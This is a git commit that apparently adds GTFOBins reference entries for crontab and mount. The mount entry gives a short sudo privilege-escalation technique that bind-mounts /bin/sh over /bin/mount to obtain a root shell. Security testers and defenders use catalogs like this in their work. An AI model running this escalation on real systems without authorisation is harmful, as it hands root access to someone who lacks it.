Add crontab and mount

This commit is contained in:
Andrea Cardaci 2018-07-16 13:47:57 +02:00
commit e13e0a5cdd
2 changed files with 17 additions and 0 deletions

9
_gtfobins/crontab.md Normal file
View File

@ -0,0 +1,9 @@
---
functions:
execute-non-interactive:
- description: The commands are executed according to the crontab file edited via the `crontab` utility.
code: crontab -e
sudo-enabled:
- description: The commands are executed according to the crontab file edited via the `crontab` utility.
code: sudo crontab -e
---

8
_gtfobins/mount.md Normal file
View File

@ -0,0 +1,8 @@
---
functions:
sudo-enabled:
- description: Exploit the fact that `mount` can be executed via `sudo` to *replace* the `mount` binary with a shell.
code: |
sudo mount -o bind /bin/sh /bin/mount
sudo mount
---